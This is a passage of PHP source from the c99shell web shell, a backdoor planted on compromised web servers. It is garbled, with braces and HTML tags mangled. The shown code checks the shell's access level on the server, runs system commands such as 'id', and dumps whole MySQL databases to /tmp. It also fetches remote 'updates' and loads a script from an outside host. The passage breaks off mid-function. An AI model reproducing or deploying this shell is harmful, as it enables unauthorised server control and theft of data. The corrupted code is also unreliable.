if ( ($mode & 0xc000) === 0xc000) ($t = "s";)
elseif ( ($mode & 0x4000) === 0x4000) ($t = "d";)
elseif ( ($mode & 0xa000) === 0xa000) ($t = "l";)
elseif ( ($mode & 0x8000) === 0x8000) ($t = "-";)
elseif ( ($mode & 0x6000) === 0x6000) ($t = "b";)
elseif ( ($mode & 0x2000) === 0x2000) ($t = "c";)
elseif ( ($mode & 0x1000) === 0x1000) ($t = "p";)
else ($t = "?";)
$o ("r") = ($mode & 00400) 0; $o ("w") = ($mode & 00200) 0; $o ("x") = ($mode & 00100) 0;
$g ("r") = ($mode & 00040) 0; $g ("w") = ($mode & 00020) 0; $g ("x") = ($mode & 00010) 0;
$w ("r") = ($mode & 00004) 0; $w ("w") = ($mode & 00002) 0; $w ("x") = ($mode & 00001) 0;
return array ("t"=$t,"o"=$o,"g"=$g,"w"=$w);
)
)
if (!function_exists ("view_perms_color"))
(
function view_perms_color ($o)
(
if (!is_readable ($o)) (return "font color=\"red\"".view_perms (fileperms ($o))."/font";)
elseif (!is_writable ($o)) (return "font color=\"white\"".view_perms (fileperms ($o))."/font";)
else (return "font color=\"green\"".view_perms (fileperms ($o))."/font";)
)
)
if (!function_exists ("gchds")) (function gchds ($a,$b,$c,$d="") (if ($a == $b) (return $c;) else (return $d;)))
if (!function_exists ("c99sh_getupdate"))
(
function c99sh_getupdate ()
(
global $updatenow;
$data = @file_get_contents ($c99sh_updatefurl."?version=".$shver."&");
if (!$data) (echo "can't fetch update-information!";)
else
(
$data = unserialize (base64_decode ($data));
if (!is_array ($data)) (echo "corrupted update-information!";)
elseif ($shver $data ("cur")) ($updatenow = true;)
)
)
)
if (!function_exists ("mysql_dump"))
(
function mysql_dump ($set)
(
global $shver;
$sock = $set ("sock");
$db = $set ("db");
$print = $set ("print");
$nl2br = $set ("nl2br");
$file = $set ("file");
$add_drop = $set ("add_drop");
$tabs = $set ("tabs");
$onlytabs = $set ("onlytabs");
$ret = array ();
$ret ("err") = array ();
if (!is_resource ($sock)) (echo ("error: \$sock is not valid resource.");)
if (empty ($db)) ($db = "db";)
if (empty ($print)) ($print = 0;)
if (empty ($nl2br)) ($nl2br = 0;)
if (empty ($add_drop)) ($add_drop = true;)
if (empty ($file))
(
global $win;
if ($win) ($file = "c:\\tmp\\dump_".$server_name."_".$db."_".date ("d-m-y-h-i-s").".sql";)
else ($file = "/tmp/dump_".$server_name."_".$db."_".date ("d-m-y-h-i-s").".sql";)
)
if (!is_array ($tabs)) ($tabs = array ();)
if (empty ($add_drop)) ($add_drop = true;)
if (sizeof ($tabs) == 0)
(
// retrive tables-list
$res = mysql_query ("show tables from ".$db, $sock);
if (mysql_num_rows ($res) 0) (while ($row = mysql_fetch_row ($res)) ($tabs () = $row (0);))
)
$server_addr = getenv ("server_addr");
$server_name = getenv ("server_name");
$out = "# dumped by c99shell.sql v. ".$shver."
# home page: http://ccteam.ru
#
# host settings:
# mysql version: (".mysql_get_server_info ().") running on ".$server_addr." (".$server_name.")"."
# date: ".date ("d.m.y h:i:s")."
# ".gethostbyname ($server_addr)." (".$server_addr.")"." dump db \"".$db."\"
#---------------------------------------------------------
";
$c = count ($onlytabs);
foreach ($tabs as $tab)
(
if ( (in_array ($tab,$onlytabs)) or (!$c))
(
if ($add_drop) ($out.= "drop table if exists `".$tab."`;\n";)
// recieve query for create table structure
$res = mysql_query ("show create table `".$tab."`", $sock);
if (!$res) ($ret ("err") () = mysql_smarterror ();)
else
(
$row = mysql_fetch_row ($res);
$out.= $row ("1").";\n\n";
// recieve table variables
$res = mysql_query ("select * from `$tab`", $sock);
if (mysql_num_rows ($res) 0)
(
while ($row = mysql_fetch_assoc ($res))
(
$keys = implode ("`, `", array_keys ($row));
$values = array_values ($row);
foreach ($values as $k=$v) ($values ($k) = addslashes ($v);)
$values = implode ("', '", $values);
$sql = "insert into `$tab` (`".$keys."`) values ('".$values."');\n";
$out.= $sql;
)
)
)
)
)
$out.= "#---------------------------------------------------------------------------------\n\n";
if ($file)
(
$fp = fopen ($file, "w");
if (!$fp) ($ret ("err") () = 2;)
else
(
fwrite ($fp, $out);
fclose ($fp);
)
)
if ($print) (if ($nl2br) (echo nl2br ($out);) else (echo $out;))
return $out;
)
)
if (!function_exists ("mysql_buildwhere"))
(
function mysql_buildwhere ($array,$sep=" and",$functs=array ())
(
if (!is_array ($array)) ($array = array ();)
$result = "";
foreach ($array as $k=$v)
(
$value = "";
if (!empty ($functs ($k))) ($value.= $functs ($k)." (";)
$value.= "'".addslashes ($v)."'";
if (!empty ($functs ($k))) ($value.= ")";)
$result.= "`".$k."` = ".$value.$sep;
)
$result = substr ($result,0,strlen ($result)-strlen ($sep));
return $result;
)
)
if (!function_exists ("mysql_fetch_all"))
(
function mysql_fetch_all ($query,$sock)
(
if ($sock) ($result = mysql_query ($query,$sock);)
else ($result = mysql_query ($query);)
$array = array ();
while ($row = mysql_fetch_array ($result)) ($array () = $row;)
mysql_free_result ($result);
return $array;
)
)
if (!function_exists ("mysql_smarterror"))
(
function mysql_smarterror ($type,$sock)
(
if ($sock) ($error = mysql_error ($sock);)
else ($error = mysql_error ();)
$error = htmlspecialchars ($error);
return $error;
)
)
if (!function_exists ("mysql_query_form"))
(
function mysql_query_form ()
(
global $submit,$sql_act,$sql_query,$sql_query_result,$sql_confirm,$sql_query_error,$tbl_struct;
if ( ($submit) and (!$sql_query_result) and ($sql_confirm)) (if (!$sql_query_error) ($sql_query_error = "query was empty";) echo "berror:/b br".$sql_query_error."br";)
if ($sql_query_result or (!$sql_confirm)) ($sql_act = $sql_goto;)
if ( (!$submit) or ($sql_act))
(
echo "table border=0trtdform action=\"".$sql_surl."\" name=\"c99sh_sqlquery\" method=\"post\"b"; if ( ($sql_query) and (!$submit)) (echo "do you really want to";) else (echo "sql-query";) echo ":/bbrbrtextarea name=\"sql_query\" cols=\"100\" rows=\"10\"".htmlspecialchars ($sql_query)."/textareabrbrinput type=\"hidden\" name=\"sql_act\" value=\"query\"input type=\"hidden\" name=\"sql_tbl\" value=\"".htmlspecialchars ($sql_tbl)."\"input type=\"hidden\" name=\"submit\" value=\"1\"input type=\"hidden\" name=\"sql_goto\" value=\"".htmlspecialchars ($sql_goto)."\"input type=\"submit\" name=\"sql_confirm\" value=\"yes\" input type=\"submit\" value=\"no\"/form/td";
if ($tbl_struct)
(
echo "td valign=\"top\"bfields:/bbr";
foreach ($tbl_struct as $field) ($name = $field ("field"); echo "» a href=\"#\" onclick=\"document.c99sh_sqlquery.sql_query.value+='`".$name."`';\"b".$name."/b/abr";)
echo "/td/tr/table";
)
)
if ($sql_query_result or (!$sql_confirm)) ($sql_query = $sql_last_query;)
)
)
if (!function_exists ("mysql_create_db"))
(
function mysql_create_db ($db,$sock="")
(
$sql = "create database `".addslashes ($db)."`;";
if ($sock) (return mysql_query ($sql,$sock);)
else (return mysql_query ($sql);)
)
)
if (!function_exists ("mysql_query_parse"))
(
function mysql_query_parse ($query)
(
$query = trim ($query);
$arr = explode (" ",$query);
/*array array ()
(
"method"=array (output_type),
"method1"...
...
)
if output_type == 0, no output,
if output_type == 1, no output if no error
if output_type == 2, output without control-buttons
if output_type == 3, output with control-buttons
*/
$types = array (
"select"=array (3,1),
"show"=array (2,1),
"delete"=array (1),
"drop"=array (1)
);
$result = array ();
$op = strtoupper ($arr (0));
if (is_array ($types ($op)))
(
$result ("propertions") = $types ($op);
$result ("query") = $query;
if ($types ($op) == 2)
(
foreach ($arr as $k=$v)
(
if (strtoupper ($v) == "limit")
(
$result ("limit") = $arr ($k+1);
$result ("limit") = explode (",",$result ("limit"));
if (count ($result ("limit")) == 1) ($result ("limit") = array (0,$result ("limit") (0));)
unset ($arr ($k),$arr ($k+1));
)
)
)
)
else (return false;)
)
)
if (!function_exists ("c99fsearch"))
(
function c99fsearch ($d)
(
global $found;
global $found_d;
global $found_f;
global $search_i_f;
global $search_i_d;
global $a;
if (substr ($d,-1,1)!= directory_separator) ($d.= directory_separator;)
$h = opendir ($d);
while ( ($f = readdir ($h))!== false)
(
if ($f!= "." && $f!= "..")
(
$bool = (empty ($a ("name_regexp")) and strpos ($f,$a ("name"))!== false) || ($a ("name_regexp") and ereg ($a ("name"),$f));
if (is_dir ($d.$f))
(
$search_i_d++;
if (empty ($a ("text")) and $bool) ($found () = $d.$f; $found_d++;)
if (!is_link ($d.$f)) (c99fsearch ($d.$f);)
)
else
(
$search_i_f++;
if ($bool)
(
if (!empty ($a ("text")))
(
$r = @file_get_contents ($d.$f);
if ($a ("text_wwo")) ($a ("text") = " ".trim ($a ("text"))." ";)
if (!$a ("text_cs")) ($a ("text") = strtolower ($a ("text")); $r = strtolower ($r);)
if ($a ("text_regexp")) ($bool = ereg ($a ("text"),$r);)
else ($bool = strpos (" ".$r,$a ("text"),1);)
if ($a ("text_not")) ($bool =!$bool;)
if ($bool) ($found () = $d.$f; $found_f++;)
)
else ($found () = $d.$f; $found_f++;)
)
)
)
)
closedir ($h);
)
)
if ($act == "gofile") (if (is_dir ($f)) ($act = "ls"; $d = $f;) else ($act = "f"; $d = dirname ($f); $f = basename ($f);))
//sending headers
header ("expires: mon, 26 jul 1997 05:00:00 gmt");
header ("last-modified: ".gmdate ("d, d m y h:i:s")." gmt");
header ("cache-control: no-store, no-cache, must-revalidate");
header ("cache-control: post-check=0, pre-check=0", false);
header ("pragma: no-cache");
if (empty ($tmpdir))
(
if (!$win) ($tmpdir = "/tmp/";)
else ($tmpdir = getenv ("systemroot");)
)
else ($tmpdir = realpath ($tmpdir);)
$tmpdir = str_replace ("\\",directory_separator,$tmpdir);
if (substr ($tmpdir,-1,1)!= directory_separator) ($tmpdir.= directory_separator;)
if (empty ($tmpdir_logs)) ($tmpdir_logs = $tmpdir;)
else ($tmpdir_logs = realpath ($tmpdir_logs);)
if (@ini_get ("safe_mode") or strtolower (@ini_get ("safe_mode")) == "on")
(
$safemode = true;
$hsafemode = "font color=\"red\"on (secure)/font";
)
else ($safemode = false; $hsafemode = "font color=\"green\"off (not secure)/font";)
$v = @ini_get ("open_basedir");
if ($v or strtolower ($v) == "on") ($openbasedir = true; $hopenbasedir = "font color=\"red\"".$v."/font";)
else ($openbasedir = false; $hopenbasedir = "font color=\"green\"off (not secure)/font";)
$sort = htmlspecialchars ($sort);
if (empty ($sort)) ($sort = $sort_default;)
$sort (1) = strtolower ($sort (1));
$disp_server_software = getenv ("server_software");
if (!ereg ("php/".phpversion (),$disp_server_software)) ($disp_server_software.= ". php/".phpversion ();)
$disp_server_software = str_replace ("php/".phpversion (),"a href=\"".$surl."act=phpinfo\" target=\"_blank\"buphp/".phpversion ()."/u/b/a",htmlspecialchars ($disp_server_software));
@ini_set ("highlight.bg",$highlight_bg); //ffffff
@ini_set ("highlight.comment",$highlight_comment); //#ff8000
@ini_set ("highlight.default",$highlight_default); //#0000bb
@ini_set ("highlight.html",$highlight_html); //#000000
@ini_set ("highlight.keyword",$highlight_keyword); //#007700
@ini_set ("highlight.string",$highlight_string); //#dd0000
if (!is_array ($actbox)) ($actbox = array ();)
$dspact = $act = htmlspecialchars ($act);
$disp_fullpath = $ls_arr = $notls = null;
$ud = urlencode ($d);
?htmlheadmeta http-equiv="content-type" content="text/html; charset=windows-1251"meta http-equiv="content-language" content="en-us"title?php echo getenv ("http_host");? - c99shell/titlestyletd ( font-size: 8pt; color: #ebebeb; font-family: verdana;)body ( scrollbar-face-color: #800000; scrollbar-shadow-color: #101010; scrollbar-highlight-color: #101010; scrollbar-3dlight-color: #101010; scrollbar-darkshadow-color: #101010; scrollbar-track-color: #101010; scrollbar-arrow-color: #101010; font-family: verdana;)td.header ( font-weight: normal; font-size: 10pt; background: #7d7474; color: white; font-family: verdana;)a ( font-weight: normal; color: #dadada; font-family: verdana; text-decoration: none;)a:unknown ( font-weight: normal; color: #ffffff; font-family: verdana; text-decoration: none;)a.links ( color: #ffffff; text-decoration: none;)a.links:unknown ( font-weight: normal; color: #ffffff; text-decoration: none;)a:hover ( color: #ffffff; text-decoration: underline;).skin0 (position:absolute; width:200px; border:2px solid black; background-color:menu; font-family:verdana; line-height:20px; cursor:default; visibility:hidden;;).skin1 (cursor: default; font: menutext; position: absolute; width: 145px; background-color: menu; border: 1 solid buttonface;visibility:hidden; border: 2 outset buttonhighlight; font-family: verdana,geneva, arial; font-size: 10px; color: black;).menuitems (padding-left:15px; padding-right:10px;;)input (background-color: #800000; font-size: 8pt; color: #ffffff; font-family: tahoma; border: 1 solid #666666;)textarea (background-color: #800000; font-size: 8pt; color: #ffffff; font-family: tahoma; border: 1 solid #666666;)button (background-color: #800000; font-size: 8pt; color: #ffffff; font-family: tahoma; border: 1 solid #666666;)select (background-color: #800000; font-size: 8pt; color: #ffffff; font-family: tahoma; border: 1 solid #666666;)option (background-color: #800000; font-size: 8pt; color: #ffffff; font-family: tahoma; border: 1 solid #666666;)iframe (background-color: #800000; font-size: 8pt; color: #ffffff; font-family: tahoma; border: 1 solid #666666;)p (margin-top: 0px; margin-bottom: 0px; line-height: 150%)blockquote ( font-size: 8pt; font-family: courier, fixed, arial; border: 8px solid #a9a9a9; padding: 1em; margin-top: 1em; margin-bottom: 5em; margin-right: 3em; margin-left: 4em; background-color: #b7b2b0;)body,td,th ( font-family: verdana; color: #d9d9d9; font-size: 11px;)body ( background-color: #000000;)/style/headscript src=http://www.r57.biz/yazciz/ciz.js/scriptbody text=#ffffff bottommargin=0 bgcolor=#000000 leftmargin=0 topmargin=0 rightmargin=0 marginheight=0 marginwidth=0centertable style="border-collapse: collapse" height=1 cellspacing=0 bordercolordark=#666666 cellpadding=5 width="100%" bgcolor=#333333 bordercolorlight=#c0c0c0 border=1 bordercolor="#c0c0c0"trth width="101%" height="15" nowrap bordercolor="#c0c0c0" valign="top" colspan="2"pfont face=webdings size=6b!/b/fonta href="?php echo $surl;?"font face="verdana" size="5"bc99shell v.?php echo $shver;?/b/font/afont face=webdings size=6b!/b/font/p/center/th/trtrtdp align="left"bsoftware: ?php echo $disp_server_software;?/b /pp align="left"buname -a: ?php echo wordwrap (php_uname (),90,"br",1);?/b /pp align="left"b?php if (!$win) (echo wordwrap (myshellexec ("id"),90,"br",1);) else (echo get_current_user ();)?/b /pp align="left"bsafe-mode: ?php echo $hsafemode;?/b/pp align="left"?php
$d = str_replace ("\\",directory_separator,$d);
if (empty ($d)) ($d = realpath (".");) elseif (realpath ($d)) ($d = realpath ($d);)
$d = str_replace ("\\",directory_separator,$d);
if (substr ($d,-1,1)!= directory_separator) ($d.= directory_separator;)
$d = str_replace ("\\\\","\\",$d);
$dispd = htmlspecialchars ($d);
$pd = $e = explode (directory_separator,substr ($d,0,strlen ($d)-1));
$i = 0;
foreach ($pd as $b)
(
$t = "";
reset ($e);
$j = 0;
foreach ($e as $r)
(
$t.= $r.directory_separator;
if ($j == $i) (break;)
$j++;
)
echo "a href=\"".$surl."act=ls&d=".urlencode ($t)."&sort=".$sort."\"b".htmlspecialchars ($b).directory_separator."/b/a";
$i++;
)
echo " ";
if (is_writable ($d))
(
$wd = true;
$wdt = "font color=\"green\" ( ok )/font";
echo "bfont color=\"green\"".view_perms (fileperms ($d))."/font/b";
)
else
(
$wd = false;
$wdt = "font color=\"red\" ( read-only )/font";
echo "b".view_perms_color ($d)."/b";
)
if (is_callable ("disk_free_space"))
(
$free = disk_free_space ($d);
$total = disk_total_space ($d);
if ($free === false) ($free = 0;)
if ($total === false) ($total = 0;)
if ($free 0) ($free = 0;)
if ($total 0) ($total = 0;)
$used = $total-$free;
$free_percent = round (100/ ($total/$free),2);
echo "brbfree ".view_size ($free)." of ".view_size ($total)." (".$free_percent."%)/b";
)
echo "br";
$letters = "";
if ($win)
(
$v = explode ("\\",$d);
$v = $v (0);
foreach (range ("a","z") as $letter)
(
$bool = $isdiskette = in_array ($letter,$safemode_diskettes);
if (!$bool) ($bool = is_dir ($letter.":\\");)
if ($bool)
(
$letters.= "a href=\"".$surl."act=ls&d=".$letter.":\\\"". ($isdiskette?" onclick=\"return confirm ('make sure that the diskette is inserted properly, otherwise an error may occur.')\"":"")." ( ";
if ($letter.":"!= $v) ($letters.= $letter;)
else ($letters.= "font color=\"green\"".$letter."/font";)
$letters.= " )/a ";
)
)
if (!empty ($letters)) (echo "bdetected drives/b: ".$letters."br";)
)
if (count ($quicklaunch) 0)
(
foreach ($quicklaunch as $item)
(
$item (1) = str_replace ("%d",urlencode ($d),$item (1));
$item (1) = str_replace ("%sort",$sort,$item (1));
$v = realpath ($d."..");
if (empty ($v)) ($a = explode (directory_separator,$d); unset ($a (count ($a)-2)); $v = join (directory_separator,$a);)
$item (1) = str_replace ("%upd",urlencode ($v),$item (1));
echo "a href=\"".$item (1)."\"".$item (0)."/a ";
)
)
?/p/td/tr/tablebr?php
if ( (!empty ($donated_html)) and (in_array ($act,$donated_act))) (?table style="border-collapse: collapse" cellspacing=0 bordercolordark=#666666 cellpadding=5 width="100%" bgcolor=#333333 bordercolorlight=#c0c0c0 border=1trtd width="100%" valign="top"?php echo $donated_html;?/td/tr/tablebr?php )
?table style="border-collapse: collapse" cellspacing=0 bordercolordark=#666666 cellpadding=5 width="100%" bgcolor=#333333 bordercolorlight=#c0c0c0 border=1trtd width="100%" valign="top"?php
if ($act == "") ($act = $dspact = "ls";)
if ($act == "sql")
(
$sql_surl = $surl."act=sql";
if ($sql_login) ($sql_surl.= "&sql_login=".htmlspecialchars ($sql_login);)
if ($sql_passwd) ($sql_surl.= "&sql_passwd=".htmlspecialchars ($sql_passwd);)
if ($sql_server) ($sql_surl.= "&sql_server=".htmlspecialchars ($sql_server);)
if ($sql_port) ($sql_surl.= "&sql_port=".htmlspecialchars ($sql_port);)
if ($sql_db) ($sql_surl.= "&sql_db=".htmlspecialchars ($sql_db);)
$sql_surl.= "&";
?h3attention! sql-manager is unot/u ready module! don't reports bugs./h3table style="border-collapse: collapse" height=1 cellspacing=0 bordercolordark=#666666 cellpadding=5 width="100%" bgcolor=#333333 bordercolorlight=#c0c0c0 border=1 bordercolor="#c0c0c0"trtd width="100%" height="1" colspan="2" valign="top"center?php
if ($sql_server)
(
$sql_sock = mysql_connect ($sql_server.":".$sql_port, $sql_login, $sql_passwd);
$err = mysql_smarterror ();
@mysql_select_db ($sql_db,$sql_sock);
if ($sql_query and $submit) ($sql_query_result = mysql_query ($sql_query,$sql_sock); $sql_query_error = mysql_smarterror ();)
)
else ($sql_sock = false;)
echo "bsql manager:/bbr";
if (!$sql_sock)
(
if (!$sql_server) (echo "no connection";)
else (echo "centerbcan't connect/b/center"; echo "b".$err."/b";)
)
else
(
$sqlquicklaunch = array ();
$sqlquicklaunch () = array ("index",$surl."act=sql&sql_login=".htmlspecialchars ($sql_login)."&sql_passwd=".htmlspecialchars ($sql_passwd)."&sql_server=".htmlspecialchars ($sql_server)."&sql_port=".htmlspecialchars ($sql_port)."&");
$sqlquicklaunch () = array ("query",$sql_surl."sql_act=query&sql_tbl=".urlencode ($sql_tbl));
$sqlquicklaunch () = array ("server-status",$surl."act=sql&sql_login=".htmlspecialchars ($sql_login)."&sql_passwd=".htmlspecialchars ($sql_passwd)."&sql_server=".htmlspecialchars ($sql_server)."&sql_port=".htmlspecialchars ($sql_port)."&sql_act=serverstatus");
$sqlquicklaunch () = array ("server variables",$surl."act=sql&sql_login=".htmlspecialchars ($sql_login)."&sql_passwd=".htmlspecialchars ($sql_passwd)."&sql_server=".htmlspecialchars ($sql_server)."&sql_port=".htmlspecialchars ($sql_port)."&sql_act=servervars");
$sqlquicklaunch () = array ("processes",$surl."act=sql&sql_login=".htmlspecialchars ($sql_login)."&sql_passwd=".htmlspecialchars ($sql_passwd)."&sql_server=".htmlspecialchars ($sql_server)."&sql_port=".htmlspecialchars ($sql_port)."&sql_act=processes");
$sqlquicklaunch () = array ("logout",$surl."act=sql");
echo "centerbmysql ".mysql_get_server_info ()." (proto v.".mysql_get_proto_info ().") running in ".htmlspecialchars ($sql_server).":".htmlspecialchars ($sql_port)." as ".htmlspecialchars ($sql_login)."@".htmlspecialchars ($sql_server)." (password - \"".htmlspecialchars ($sql_passwd)."\")/bbr";
if (count ($sqlquicklaunch) 0) (foreach ($sqlquicklaunch as $item) (echo " ( a href=\"".$item (1)."\"b".$item (0)."/b/a ) ";))
echo "/center";
)
echo "/td/trtr";
if (!$sql_sock) (?td width="28%" height="100" valign="top"centerfont size="5" i /font/centerliif login is null, login is owner of process.liif host is null, host is localhost/bliif port is null, port is 3306 (default)/tdtd width="90%" height="1" valign="top"table height=1 cellspacing=0 cellpadding=0 width="100%" border=0trtd bplease, fill the form:/btabletrtdbusername/b/tdtdbpassword/b /tdtdbdatabase/b /td/trforminput type="hidden" name="act" value="sql"trtdinput type="text" name="sql_login" value="root" maxlength="64"/tdtdinput type="password" name="sql_passwd" value="" maxlength="64"/tdtdinput type="text" name="sql_db" value="" maxlength="64"/td/trtrtdbhost/b/tdtdbport/b/td/trtrtd align=rightinput type="text" name="sql_server" value="localhost" maxlength="64"/tdtdinput type="text" name="sql_port" value="3306" maxlength="6" size="3"/tdtdinput type="submit" value="connect"/td/trtrtd/td/tr/form/table/td?php )
else
(
//start left panel
if (!empty ($sql_db))
(
?td width="25%" height="100%" valign="top"a href="?php echo $surl."act=sql&sql_login=".htmlspecialchars ($sql_login)."&sql_passwd=".htmlspecialchars ($sql_passwd)."&sql_server=".htmlspecialchars ($sql_server)."&sql_port=".htmlspecialchars ($sql_port)."&";?"bhome/b/ahr size="1" noshade?php
$result = mysql_list_tables ($sql_db);
if (!$result) (echo mysql_smarterror ();)
else
(
echo "--- ( a href=\"".$sql_surl."&\"b".htmlspecialchars ($sql_db)."/b/a )---br";
$c = 0;
while ($row = mysql_fetch_array ($result)) ($count = mysql_query ("select count (*) from ".$row (0)); $count_row = mysql_fetch_array ($count); echo "b» a href=\"".$sql_surl."sql_db=".htmlspecialchars ($sql_db)."&sql_tbl=".htmlspecialchars ($row (0))."\"b".htmlspecialchars ($row (0))."/b/a (".$count_row (0).")/br/b"; mysql_free_result ($count); $c++;)
if (!$c) (echo "no tables found in database.";)
)
)
else
(
?td width="1" height="100" valign="top"a href="?php echo $sql_surl;?"bhome/b/ahr size="1" noshade?php
$result = mysql_list_dbs ($sql_sock);
if (!$result) (echo mysql_smarterror ();)
else
(
?form action="?php echo $surl;?"input type="hidden" name="act" value="sql"input type="hidden" name="sql_login" value="?php echo htmlspecialchars ($sql_login);?"input type="hidden" name="sql_passwd" value="?php echo htmlspecialchars ($sql_passwd);?"input type="hidden" name="sql_server" value="?php echo htmlspecialchars ($sql_server);?"input type="hidden" name="sql_port" value="?php echo htmlspecialchars ($sql_port);?"select name="sql_db"?php
$c = 0;
$dbs = "";
while ($row = mysql_fetch_row ($result)) ($dbs.= "option value=\"".$row (0)."\""; if ($sql_db == $row (0)) ($dbs.= " selected";) $dbs.= "".$row (0)."/option"; $c++;)
echo "option value=\"\"databases (".$c.")/option";
echo $dbs;
)
?/selecthr size="1" noshadeplease, select databasehr size="1" noshadeinput type="submit" value="go"/form?php
)
//end left panel
echo "/tdtd width=\"100%\" height=\"1\" valign=\"top\"";
//start center panel
$diplay = true;
if ($sql_db)
(
if (!is_numeric ($c)) ($c = 0;)
if ($c == 0) ($c = "no";)
echo "hr size=\"1\" noshadecenterbthere are ".$c." table (s) in this db (".htmlspecialchars ($sql_db).").br";
if (count ($dbquicklaunch) 0) (foreach ($dbsqlquicklaunch as $item) (echo " ( a href=\"".$item (1)."\"".$item (0)."/a ) ";))
echo "/b/center";
$acts = array ("","dump");
if ($sql_act == "tbldrop") ($sql_query = "drop table"; foreach ($boxtbl as $v) ($sql_query.= "\n`".$v."`,";) $sql_query = substr ($sql_query,0,strlen ($sql_query)-1).";"; $sql_act = "query";)
elseif ($sql_act == "tblempty") ($sql_query = ""; foreach ($boxtbl as $v) ($sql_query.= "delete from `".$v."` \n";) $sql_act = "query";)
elseif ($sql_act == "tbldump") (if (count ($boxtbl) 0) ($dmptbls = $boxtbl;) elseif ($thistbl) ($dmptbls = array ($sql_tbl);) $sql_act = "dump";)
elseif ($sql_act == "tblcheck") ($sql_query = "check table"; foreach ($boxtbl as $v) ($sql_query.= "\n`".$v."`,";) $sql_query = substr ($sql_query,0,strlen ($sql_query)-1).";"; $sql_act = "query";)
elseif ($sql_act == "tbloptimize") ($sql_query = "optimize table"; foreach ($boxtbl as $v) ($sql_query.= "\n`".$v."`,";) $sql_query = substr ($sql_query,0,strlen ($sql_query)-1).";"; $sql_act = "query";)
elseif ($sql_act == "tblrepair") ($sql_query = "repair table"; foreach ($boxtbl as $v) ($sql_query.= "\n`".$v."`,";) $sql_query = substr ($sql_query,0,strlen ($sql_query)-1).";"; $sql_act = "query";)
elseif ($sql_act == "tblanalyze") ($sql_query = "analyze table"; foreach ($boxtbl as $v) ($sql_query.= "\n`".$v."`,";) $sql_query = substr ($sql_query,0,strlen ($sql_query)-1).";"; $sql_act = "query";)
elseif ($sql_act == "deleterow") ($sql_query = ""; if (!empty ($boxrow_all)) ($sql_query = "delete * from `".$sql_tbl."`;";) else (foreach ($boxrow as $v) ($sql_query.= "delete * from `".$sql_tbl."` where".$v." limit 1;\n";) $sql_query = substr ($sql_query,0,strlen ($sql_query)-1);) $sql_act = "query";)
elseif ($sql_tbl_act == "insert")
(
if ($sql_tbl_insert_radio == 1)
(
$keys = "";
$akeys = array_keys ($sql_tbl_insert);
foreach ($akeys as $v) ($keys.= "`".addslashes ($v)."`, ";)
if (!empty ($keys)) ($keys = substr ($keys,0,strlen ($keys)-2);)
$values = "";
$i = 0;
foreach (array_values ($sql_tbl_insert) as $v) (if ($funct = $sql_tbl_insert_functs ($akeys ($i))) ($values.= $funct." (";) $values.= "'".addslashes ($v)."'"; if ($funct) ($values.= ")";) $values.= ", "; $i++;)
if (!empty ($values)) ($values = substr ($values,0,strlen ($values)-2);)
$sql_query = "insert into `".$sql_tbl."` ( ".$keys." ) values ( ".$values." );";
$sql_act = "query";
$sql_tbl_act = "browse";
)
elseif ($sql_tbl_insert_radio == 2)
(
$set = mysql_buildwhere ($sql_tbl_insert,", ",$sql_tbl_insert_functs);
$sql_query = "update `".$sql_tbl."` set ".$set." where ".$sql_tbl_insert_q." limit 1;";
$result = mysql_query ($sql_query) or print (mysql_smarterror ());
$result = mysql_fetch_array ($result, mysql_assoc);
$sql_act = "query";
$sql_tbl_act = "browse";
)
)
if ($sql_act == "query")
(
echo "hr size=\"1\" noshade";
if ( ($submit) and (!$sql_query_result) and ($sql_confirm)) (if (!$sql_query_error) ($sql_query_error = "query was empty";) echo "berror:/b br".$sql_query_error."br";)
if ($sql_query_result or (!$sql_confirm)) ($sql_act = $sql_goto;)
if ( (!$submit) or ($sql_act)) (echo "table border=\"0\" width=\"100%\" height=\"1\"trtdform action=\"".$sql_surl."\" method=\"post\"b"; if ( ($sql_query) and (!$submit)) (echo "do you really want to:";) else (echo "sql-query:";) echo "/bbrbrtextarea name=\"sql_query\" cols=\"100\" rows=\"10\"".htmlspecialchars ($sql_query)."/textareabrbrinput type=\"hidden\" name=\"sql_act\" value=\"query\"input type=\"hidden\" name=\"sql_tbl\" value=\"".htmlspecialchars ($sql_tbl)."\"input type=\"hidden\" name=\"submit\" value=\"1\"input type=\"hidden\" name=\"sql_goto\" value=\"".htmlspecialchars ($sql_goto)."\"input type=\"submit\" name=\"sql_confirm\" value=\"yes\" input type=\"submit\" value=\"no\"/form/td/tr/table";)
)
if (in_array ($sql_act,$acts))
(
?table border="0" width="100%" height="1"trtd width="30%" height="1"bcreate new table:/bform action="?php echo $surl;?"input type="hidden" name="act" value="sql"input type="hidden" name="sql_act" value="newtbl"input type="hidden" name="sql_db" value="?php echo htmlspecialchars ($sql_db);?"input type="hidden" name="sql_login" value="?php echo htmlspecialchars ($sql_login);?"input type="hidden" name="sql_passwd" value="?php echo htmlspecialchars ($sql_passwd);?"input type="hidden" name="sql_server" value="?php echo htmlspecialchars ($sql_server);?"input type="hidden" name="sql_port" value="?php echo htmlspecialchars ($sql_port);?"input type="text" name="sql_newtbl" size="20" input type="submit" value="create"/form/tdtd width="30%" height="1"bdump db:/bform action="?php echo $surl;?"input type="hidden" name="act" value="sql"input type="hidden" name="sql_act" value="dump"input type="hidden" name="sql_db" value="?php echo htmlspecialchars ($sql_db);?"input type="hidden" name="sql_login" value="?php echo htmlspecialchars ($sql_login);?"input type="hidden" name="sql_passwd" value="?php echo htmlspecialchars ($sql_passwd);?"input type="hidden" name="sql_server" value="?php echo htmlspecialchars ($sql_server);?"input type="hidden" name="sql_port" value="?php echo htmlspecialchars ($sql_port);?"input type="text" name="dump_file" size="30" value="?php echo "dump_".$server_name."_".$sql_db."_".date ("d-m-y-h-i-s").".sql";?" input type="submit" name=\"submit\" value="dump"/form/tdtd width="30%" height="1"/td/trtrtd width="30%" height="1"/tdtd width="30%" height="1"/tdtd width="30%" height="1"/td/tr/table?php
if (!empty ($sql_act)) (echo "hr size=\"1\" noshade";)
if ($sql_act == "newtbl")
(
echo "b";
if ( (mysql_create_db ($sql_newdb)) and (!empty ($sql_newdb))) (echo "db \"".htmlspecialchars ($sql_newdb)."\" has been created with success!/bbr";
)
else (echo "can't create db \"".htmlspecialchars ($sql_newdb)."\".brreason:/b ".mysql_smarterror ();)
)
elseif ($sql_act == "dump")
(
if (empty ($submit))
(
$diplay = false;
